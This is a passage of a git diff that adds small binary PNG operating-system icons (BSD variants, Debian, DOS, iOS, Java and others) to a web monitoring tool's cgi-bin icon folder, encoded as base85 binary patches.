z2`v}r-R*UlrL39rNl4-Bq9wEVHZ?e&xX{SR@GVAm4x6yR4Ui)|UHx3vIVCg!0N8JY AsQ>@~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsd.png new file mode 100644 index 0000000000000000000000000000000000000000..6bd3d29e19f28c02a928ec233b0fb5d5222e205f GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@|Ns9WDGyr) zV?72nWd;EORW~OFOUuGVGv;jF$WoNJcJE%x3C#=~981?Ojf#z3v$p9F0|NtNNswPK zgTu2MX$%Yu&YmugAr-fh6Am!4C^k6O9b4t<<<%|u<e5%Ukm=4N6Yg$~IO=)5W#Q)R zjngLXQgWUZG;#B$B8BEj8z*j>Sga5u&&R+J|AKEJf8lbFe;7Pn{an^LB{Ts5!ZuMH literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsddflybsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsddflybsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$J-2k5u*Z=?jUpReX zN@jk9zHPK`($Z=3j<4MK{{4GLCGE}oPu;usXsU^AlB(|eYuD~=-MfTcJe`4ofw3gW zFPOpM*^M*?28LKq7srr_TgeFt8cAo06BwEvi0>A4C^<Is3%9~7NA=4*KF4#cR2UX% z`{nbnTs)IL>43@cm(2;4eb1N!s+c>pg3ZEo5)uSL1I_s6o(OoQcIC~ZoehpBR04E1 cHZU@LZxH*l?6uM{1_lNOPgg&ebxsLQ0M!|F+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdfreebsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdfreebsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$J-2k5u*Z=?jUpReX zN@jk9zHPK`($Z=3j<4MK{{4GLCGE}oPu;usXsU^AlB(|eYuD~=-MfTcJe`4ofw3gW zFPOpM*^M*?28LKq7srr_TgeFt8cAo06BwEvi0>A4C^<Is3%9~7NA=4*KF4#cR2UX% z`{nbnTs)IL>43@cm(2;4eb1N!s+c>pg3ZEo5)uSL1I_s6o(OoQcIC~ZoehpBR04E1 cHZU@LZxH*l?6uM{1_lNOPgg&ebxsLQ0M!|F+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdi.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdi.png new file mode 100644 index 0000000000000000000000000000000000000000..6bd3d29e19f28c02a928ec233b0fb5d5222e205f GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@|Ns9WDGyr) zV?72nWd;EORW~OFOUuGVGv;jF$WoNJcJE%x3C#=~981?Ojf#z3v$p9F0|NtNNswPK zgTu2MX$%Yu&YmugAr-fh6Am!4C^k6O9b4t<<<%|u<e5%Ukm=4N6Yg$~IO=)5W#Q)R zjngLXQgWUZG;#B$B8BEj8z*j>Sga5u&&R+J|AKEJf8lbFe;7Pn{an^LB{Ts5!ZuMH literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdkfreebsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdkfreebsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$J-2k5u*Z=?jUpReX zN@jk9zHPK`($Z=3j<4MK{{4GLCGE}oPu;usXsU^AlB(|eYuD~=-MfTcJe`4ofw3gW zFPOpM*^M*?28LKq7srr_TgeFt8cAo06BwEvi0>A4C^<Is3%9~7NA=4*KF4#cR2UX% z`{nbnTs)IL>43@cm(2;4eb1N!s+c>pg3ZEo5)uSL1I_s6o(OoQcIC~ZoehpBR04E1 cHZU@LZxH*l?6uM{1_lNOPgg&ebxsLQ0M!|F+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdnetbsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdnetbsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$J-2k5u*Z=?jUpReX zN@jk9zHPK`($Z=3j<4MK{{4GLCGE}oPu;usXsU^AlB(|eYuD~=-MfTcJe`4ofw3gW zFPOpM*^M*?28LKq7srr_TgeFt8cAo06BwEvi0>A4C^<Is3%9~7NA=4*KF4#cR2UX% z`{nbnTs)IL>43@cm(2;4eb1N!s+c>pg3ZEo5)uSL1I_s6o(OoQcIC~ZoehpBR04E1 cHZU@LZxH*l?6uM{1_lNOPgg&ebxsLQ0M!|F+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdopenbsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdopenbsd.png new file mode 100644 index 0000000000000000000000000000000000000000..7d672e5d884c0294602a40adc2b6153c3d5308d8 GIT binary patch literal 358 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$Jg8-ipR|bavm$q## zE-uav4YlXx6<}b9VqmD|;Mgl9G=+g-xt_v3dHKDW$(CMTKh7RHygv8v`JPq=1_s8G zAirP+hi5m^7#JAJJzX3_DsCkwBux1A{U0MUGqeBkL+$KOB_wv-&x!x~pM|;k&g^69 zqOv?Zn{GXymtJD9$L{W;RiV=k6;zeaUK!f0e7I|_YPxC^i-d}mwUyN=2?>i^mrq{` zW|5GvzIFLjEQ^H1jZ?uf&5h5DcDA%>Fl4eRCM&Qq#4T3I|7rUmlYxPO!PC{xWt~$( F69BJWc(wol literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/commodore.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/commodore.png new file mode 100644 index 0000000000000000000000000000000000000000..6dd71bd055f7bd41613f7d549ed14ac8ccfc9358 GIT binary patch literal 842 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8)d%>5xH2#>7#ka>rKQcB zIrGe!GynhppP81HW^8<B=FFMK#%I#f&KMgTGccqvFwA6NIK#m3pMl~3g$w^5Jox|O z#s3c<{x=l--?8Dpfx!O&i~k88|1$#q&*=Dn;=q3mhW`c}{~Z+mduaR*F!&!~@xLJA ze?`LohK&C!X8gZ!;=hH!e+P;G9t!^x9R3#s{GU+q|Hg&?4{n?>X88Z&!I?DUnZ^wN zKfIWkW_)I5TADG#nKXtoGmU40NQRkUC!PU2@ywaDGhipCr7_H$$#CWj!<qjKGeM;B z%rnMmGa1hOPn-FlA#JAd%rj}mX$)y+7-s%AKJ$NO+J6R+-)1t*{GVogh9T|0u`x(l znsJ)(Opr~+X=l=m&loeHdfxcIaT>_LnP>i=Vfb&%aK_jeq&<ycrg7T;nGFBajAy2$ zoteo1cCqpQnKMDkW*VQF$uKi5?f)5&A3!2!(q_&yPD`74=8W;onII3GIm2LV%mDYp z|NqAS|EK-`KlA_pGynfXykvalzwyj73~4jdKtB9$oHjFU<{1XCmyBorpLym#$PZ~} z7>s9vJZyZ%IPE`!@&B~6na0LxGiRQ8@ZiIZ8y^lFcwr27;(`SacI<d@;lhW8h8r_x zJV;2m;NWngqT<Ge4KE@hE=-v4z{280LBWj^Cq4uOTv)N<MMuX25048O88?iL&p0?- zNJzNR(C}cvf)@q`Ck`C=prLU>LE(Uc!U+k90|EjEI5-Y4AOh|HB;kNUDh(VWXAsFp zZCY6~0|NtNNswPKgTu2MX$%YuoCO|{#S9GG!XV7ZFl&wk0|NtliKnkC`!z-p1_M^t zmbz&S3=DyuE{-7_*OL<%nx-!IpP$yye0llAoy!AvD16HjS*nnw?(u`GW4q9iyR0cP zt=>j!+6@w7Tq7eRIm)d&R;zG7KfH63KzE-}&e4ZFCGJX+=NTCEZEUiCEjD@0z`(%Z M>FVdQ&MBb@04no}7ytkO literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/cpm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/cpm.png new file mode 100644 index 0000000000000000000000000000000000000000..caa00a13ff9390e334b27c4f62f505ce8946411c GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yU=U(pVBlk9W?*2D5V`k-fq{X&#M9T6{Q?&szozzd z<saP)3=EtF9+AZi4BSE>%y{W;-5&-929|V3Uq=Rpjs4tz5?L7-7}x@QLR=Xb82<nN zzx3w(y9^8rOeH~n!T%YaZa45^U|`Vmba4!+xRw0l|9=K%p7RxV4@{VQ_dvkhlLrE1 rPaX&;<UVna_u$Q|ygZv5C02<saHdN$3BLIRau|cBtDnm{r-UW|TiiPp literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/debian.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/debian.png new file mode 100644 index 0000000000000000000000000000000000000000..29a66ede37acae2d1b4fff51bd07de6c276c1e37 GIT binary patch literal 315 zcmeAS@N?(olHy`uVBq!ia0y~yVBlt8VBq6mW?*1Aw_j{I0|P@&fKQ0)K?dcctOiFp z4bLg~pHm9FU>I@PD(Sj+;SImy+p%?b5}WR2cReVX^ssX3qq>=oo98_3Uh-_>^5>IR zy_mlC<?Icw7H)mLZ0DO5yWVX%{C?+&&!?|`Ie+8p<-6bSJpS?E`Hx30f4zMB`|Za+ zpT7S4_wVU<qdg1^44efXk;M!Q+(IDCc<FB49|i`7QcoAhkcwNb-8cCT83-_oYe+j) zT`X#uv`yvn|NkeN1b!S<?$vd;6MpNg!UNaYZsyH}H{6Q16iu$)dSDV)m58k3+~qU% zI&QuEB*z=a*P4{IRQ71<3Spmx9n}%PKZe*(jLY5aX6$kAY>jfv-T5z_{~2!dmak(x Y7{`BXNAJ};3=9kmp00i_>zopr0FLmOOaK4? literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/digital.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/digital.png new file mode 100644 index 0000000000000000000000000000000000000000..4b946cb9e79846f6413eaa3e443d35adf2187997 GIT binary patch literal 262 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e6&fq`KTgW((j zr#T#!=UV2>VX$1Q8MIW<Z>faS_MqZNn-85TpYZYKy~|TpZM985mfe%S)9E7v0|R48 zkY6x^!?PP{3=9lDo-U3d6}OTT4luH?in2B~I2J5h^rP6ZknLe=o6}Y|Ri6Fl_E~Pq zekauSG`oEFn{82tHgKP~zdM_=Iim9Usbyxo3+#l$H`uMHGhtx3^-;Vhd>7vm1_lNO MPgg&ebxsLQ05XhP2LJ#7 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/dos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/dos.png new file mode 100644 index 0000000000000000000000000000000000000000..ce04e4d0ff5135c771c3db09254bed108caa6ed0 GIT binary patch literal 300 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9cz$e7@>HT{L#29)Q z7&PRq9Awu7hp=tk$`GpWywY*~g$tT{Hm@+|7nKs`Vq@VBwT^v0d#)S<0|R48kY6x^ z!?PP{3=9mVo-U3d6}OUi>}fbZ<NY~iw$)7Qw!Xg?X&7N!zjfQWJjUj`tG4#b?_ZU) zVRO{)Ywvz)w;69g|IW7fnMm`31@7L@&gdxI4K&m(k!rs1ZrR$0w#y}3#LROI%FZ%f z@^g^V*tekY@Rb!l3#<zJH_UX{H)&IMW|S6#>t?++lY8-!3=9kmp00i_>zopr0HYCW A)c^nh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/dreamcast.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/dreamcast.png new file mode 100644 index 0000000000000000000000000000000000000000..573d5427f857a6a7f67296d053d1b7ce87ea48f5 GIT binary patch literal 322 zcmeAS@N?(olHy`uVBq!ia0y~yVBlw9U=UzoW?*2juCOp?U|?V`@$_|Nzs$_YsLk!p zG~J1Tfq}EYBeIx*f$IYZGdis?nZdxoz>@Ch>&U>cv7h@-A}a#}gF%2#h^tre(xCFC zQT1z+Th^v_Zq1#zw|L62#ziN3)}HHGdu__rYjgHKT6*mH+H>!>UVH!l|NmuN0cSxD zC<*cl{*MY69w^63GB7Yydb&7<RNPAb!Oti!F+t*C*Sn7jZo5|{O|1IQ-X^cN^ywtO zkMa_Azgl)^>0bPEpy0|;=Zwj_KC`neRX(RE^-7JGrzd**4#{14^A9BKiS+c?Be3G{ ziq66n*_;zT-rap8bC=bGkIG9P?FiOA@no)=-m~`y%kCD~_vctMh)wtRIovjHJp%&+ NgQu&X%Q~loCIANYiCF*u literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/freebsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/freebsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$J-2k5u*Z=?jUpReX zN@jk9zHPK`($Z=3j<4MK{{4GLCGE}oPu;usXsU^AlB(|eYuD~=-MfTcJe`4ofw3gW zFPOpM*^M*?28LKq7srr_TgeFt8cAo06BwEvi0>A4C^<Is3%9~7NA=4*KF4#cR2UX% z`{nbnTs)IL>43@cm(2;4eb1N!s+c>pg3ZEo5)uSL1I_s6o(OoQcIC~ZoehpBR04E1 cHZU@LZxH*l?6uM{1_lNOPgg&ebxsLQ0M!|F+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/gnu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/gnu.png new file mode 100644 index 0000000000000000000000000000000000000000..8469ec6f3309495e3b454831d4c6ea3a5289f5fe GIT binary patch literal 313 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)Gcu}6<a5rP zz`(%3S>O>_%)r3)0fZTy)|kv-U|?WLcl32+VA$Bt{U?!?fq}swz$e7j&CWPB%&#EI zt1vsdGdrxgK6Oq_;>z~)hWg5dGg@{|D%`rFck9wQN4GBj{{8*`|NjluWg{6F7z9d! z{DS|Z0)_|5v62i73<aJpjv*Ddl7C#5`uV@#RpW5(?~Z+Z+{$gI=c^kT95FY}`FrZX ziG(|63<5JeL!%aIIIj%ty1M8}LfiS5??O*s`5|einyPzR>&N*I^94PgGr#nYJ3Z-( z<Cfc6;?)X&15>9ytXKGZKjVFz!Qb@0Bme(1Oju=B95*Sun1O+T!PC{xWt~$(69AXt BgTMd) literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/hpux.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/hpux.png new file mode 100644 index 0000000000000000000000000000000000000000..a1d554a8a1d662a79da6b9c8e38201c5cd4141e2 GIT binary patch literal 338 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5LYkDrG|=ooebB`nR2Z-d+(H%Yf)Zn z_ilau|NH;<@Bg1W_C7gkYfJU9YuCO%zxRFZ(t9sA&#Gr&U|=i>@(X5gcy=R=fq|jO z)5S5Q;#RVNNJx;7h)9Zn$d9nio`N2~|J51V2TpK&)0XXioXL^xr`^=~@%G$CAHJr) z_rH1c#D?N;8z)>=H#bVrGuGx<;gj-Ut6lB`v*{BZE3Ov3e;mvz$r4twv0Q}VtY`kS nIeaGW0Vh=~I8*eF$T8UNQkIUaYS_uZz`)??>gTe~DWM4fgOh$7 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/ibm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/ibm.png new file mode 100644 index 0000000000000000000000000000000000000000..67b103da75f77075da05ea0978c92aa19af1c002 GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@|Ns9zJ;(O$ zz4!e2_jBi-Z{2#YxOi_+(At)kV_sfsqoUSMnQ|^UdF#@p*PNV|&Y5$rewJzg0|NtN zNswPKgTu2MX$%YuCY~;iAr-fh6BHO&L|Lakm1L2;bX9BFn$NX|9~>)ETDUr0cSc^! oRc^8PS-Q+&>W^eRPFOHV2Jm^-uaRHKz`(%Z>FVdQ&MBb@01ik~a{vGU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/imode.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/imode.png new file mode 100644 index 0000000000000000000000000000000000000000..4c68317bd4e2ca0a07ee757c228f4ae58283a2f2 GIT binary patch literal 272 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj#7bNvN}P*Q6H7Al^Atid zb5j`%4D}67^bL$BFJ$gyU|?V`@$_|Nzs$zLFQMg7#(#%_fq}EYBeIx*f$IYZGdis? znZdxoz>@Ch>&U>cv7h@-A}a#}gF%2#h%3X=y$nl_F|6Iov2-uT+Pwm6w`y*kW4Lop z*s+ev{Rzu1*x$Y*_5C@=@AnMf-*f!`&ai!E_8A5S21id9$B>F!$q5b&W*n)t-{Y7& zp6#n%-pDBFvZX<D_W%Fl4Nw2y^KDqMJDNdke|0%i$FpD6*BM=oJ6+v)E~?XjnZej! W^xlr5@@fVK1_n=8KbLh*2~7afv0qyN literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/inferno.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/inferno.png new file mode 100644 index 0000000000000000000000000000000000000000..72928c62f2c528daa1161b5580369dd63a7fee34 GIT binary patch literal 552 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyP5>eNO$9 z$-uyP$J50zq+(8N(D{6!M1i?K%OZCf`rhQ~%~N9a3fg13@Z+krzr<IFf4y(~(cNZ6 zdGh5fPpOQk?nH5eg^pfPTD$LW;&}J2r`^B0KrjE(q?6V8pBg%5%<Pz?l9-k@?UMYT z7pv!Xbcp!>5D#Ezcwc>gx2#gyGlySCw-zl7U|~>latTqW-G8@m@z3`)3o~w;F?eXk zE*E9l6cQD!D>75E^F(QsxcKweQ*ZCQ!^NPHsmQ``=DG3p!nVT)uYGfF?D+dHbJ7L@ zDPv{^B_$;Wh65QTH*GTC)!$@Km^(9AQ<>-R`RZz)kh^Q{?Z|w+>)zY4`}->IW?b=J z`svXlQ<p1KV`Hx`)>w5ltD_>j^vRYv`DdT4p01yB``(QeY9D17j!aDwU};O#nZbS8 z;LX>nmnBxok^A2JstMapO-fr>#A0ON8$8olWLajP+w*%r(#^IT%{<}Y<)S#_ra@2H zZP|Ien|HqXw5gS;@#dy=&p)%C|6EpH{$+|9%d0anclS)*xaRTV#hVXqxcqY3>8Cf} zTtBzG|8i!;$`Co*x}xv*#EchI2{0Tfypp&3Ycq3_P0p3ye=jdTKQI4&{e~@50@WVw zXF5`N$L8m+hkti}{PC$P&^Ayu!6n3e*0O{9I~RFeHc@0TRz4)pp5qmGIWa?$fq{X+ M)78&qol`;+0CTnjLjV8( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/ios.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/ios.png new file mode 100644 index 0000000000000000000000000000000000000000..3e9ca49607d2889f746a4d5c3adc2c8065080000 GIT binary patch literal 486 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZbW2<#N}P*Q6H7Al^Atid zb5j{|Q;YNzOcWCHf0rm285kNU7#dj_TUr@gDrg%R8W@x_iQZ;lU|=ut^mS#w#lga* z!z6Y3m^K3g180FpWHAE+*9Q=0bXsFFgMop8CEd~2k%3`jKlh(RRt5$}8&4O<kcwN$ zPo{*WDDW8wuH<vol-GYhbFXy+#|eg_t5c@>y}9%0?a95mr^UNFyBJ(09`b3NJN4i} z0=rS&pC31^bC1m{T`je{s(-FsaO{-zYuAa*n{<#Ngv-(0f1X)UiE;5)CZmQs|NsAY zK62Fb%fA0V7*iT#KK!^8sjzb0qCYQAUasbsW0G`uclfwJ(;l0K9{>6F+?v@<Z(3(_ znX?_@@b&ur=jrQpf7u&&<Sa!eSU3JSd%JvwSEI+h16!7D{d{zF_-1k4Mk@xUd;6-- zpFPUz;=tze<mzj4hyOQ!v$?XcE@HWM*1G&@%95!fPa1h9?3x{}u#oKw12?yE*QK}B z-&lWE{H)yZ)~-O{#NGNI9?p@5#>T}y86O@#R$p+hX@{tUMtJ@m79|DdM;G?C_c7e9 n{dg)gSG#%vhqCV_28NpUNv0=s?i({OFfe$!`njxgN@xNA_?yDI literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/iphone.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/iphone.png new file mode 100644 index 0000000000000000000000000000000000000000..3e9ca49607d2889f746a4d5c3adc2c8065080000 GIT binary patch literal 486 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZbW2<#N}P*Q6H7Al^Atid zb5j{|Q;YNzOcWCHf0rm285kNU7#dj_TUr@gDrg%R8W@x_iQZ;lU|=ut^mS#w#lga* z!z6Y3m^K3g180FpWHAE+*9Q=0bXsFFgMop8CEd~2k%3`jKlh(RRt5$}8&4O<kcwN$ zPo{*WDDW8wuH<vol-GYhbFXy+#|eg_t5c@>y}9%0?a95mr^UNFyBJ(09`b3NJN4i} z0=rS&pC31^bC1m{T`je{s(-FsaO{-zYuAa*n{<#Ngv-(0f1X)UiE;5)CZmQs|NsAY zK62Fb%fA0V7*iT#KK!^8sjzb0qCYQAUasbsW0G`uclfwJ(;l0K9{>6F+?v@<Z(3(_ znX?_@@b&ur=jrQpf7u&&<Sa!eSU3JSd%JvwSEI+h16!7D{d{zF_-1k4Mk@xUd;6-- zpFPUz;=tze<mzj4hyOQ!v$?XcE@HWM*1G&@%95!fPa1h9?3x{}u#oKw12?yE*QK}B z-&lWE{H)yZ)~-O{#NGNI9?p@5#>T}y86O@#R$p+hX@{tUMtJ@m79|DdM;G?C_c7e9 n{dg)gSG#%vhqCV_28NpUNv0=s?i({OFfe$!`njxgN@xNA_?yDI literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/irix.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/irix.png new file mode 100644 index 0000000000000000000000000000000000000000..9722f69dde618788147745ba7885c0637a77a63b GIT binary patch literal 317 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2I&Bw5Z7b>k8M46E~t3Qxoh{bTjo4}{{H{} z|2=b-E?v8K&f@)j3=9m6B|(0{3=Yq3q%kls6nVNhhE&`VJ?qWqY9PUOA)kB7ku4!J zez#^`uJXAX^HS)J;iIxQ6H9JdNLw(Rcw8|-V+)JVf9>rH7+0>m<B@1{{n7mX3*Gjg zt=#PApG&izBB*0$_hQ;9wX1yQYs|QndCqOP68qznW{xH+)7h39=J~egdBeNJzX%)n Seqdl=VDNPHb6Mw<&;$Tq2X?an literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/j2me.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/j2me.png new file mode 100644 index 0000000000000000000000000000000000000000..72928c62f2c528daa1161b5580369dd63a7fee34 GIT binary patch literal 552 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyP5>eNO$9 z$-uyP$J50zq+(8N(D{6!M1i?K%OZCf`rhQ~%~N9a3fg13@Z+krzr<IFf4y(~(cNZ6 zdGh5fPpOQk?nH5eg^pfPTD$LW;&}J2r`^B0KrjE(q?6V8pBg%5%<Pz?l9-k@?UMYT z7pv!Xbcp!>5D#Ezcwc>gx2#gyGlySCw-zl7U|~>latTqW-G8@m@z3`)3o~w;F?eXk zE*E9l6cQD!D>75E^F(QsxcKweQ*ZCQ!^NPHsmQ``=DG3p!nVT)uYGfF?D+dHbJ7L@ zDPv{^B_$;Wh65QTH*GTC)!$@Km^(9AQ<>-R`RZz)kh^Q{?Z|w+>)zY4`}->IW?b=J z`svXlQ<p1KV`Hx`)>w5ltD_>j^vRYv`DdT4p01yB``(QeY9D17j!aDwU};O#nZbS8 z;LX>nmnBxok^A2JstMapO-fr>#A0ON8$8olWLajP+w*%r(#^IT%{<}Y<)S#_ra@2H zZP|Ien|HqXw5gS;@#dy=&p)%C|6EpH{$+|9%d0anclS)*xaRTV#hVXqxcqY3>8Cf} zTtBzG|8i!;$`Co*x}xv*#EchI2{0Tfypp&3Ycq3_P0p3ye=jdTKQI4&{e~@50@WVw zXF5`N$L8m+hkti}{PC$P&^Ayu!6n3e*0O{9I~RFeHc@0TRz4)pp5qmGIWa?$fq{X+ M)78&qol`;+0CTnjLjV8( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/java.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/java.png new file mode 100644 index 0000000000000000000000000000000000000000..5d9ce9fdb12411840067c54161a93e71bcbd994b GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@|Ns9V-+xcb zUA$+;_TEW5E?s*3|MU0n-~WGq^78-p|KI=r|9|k*?`yZd&s_EY|M&l|-@lE#vy*{= 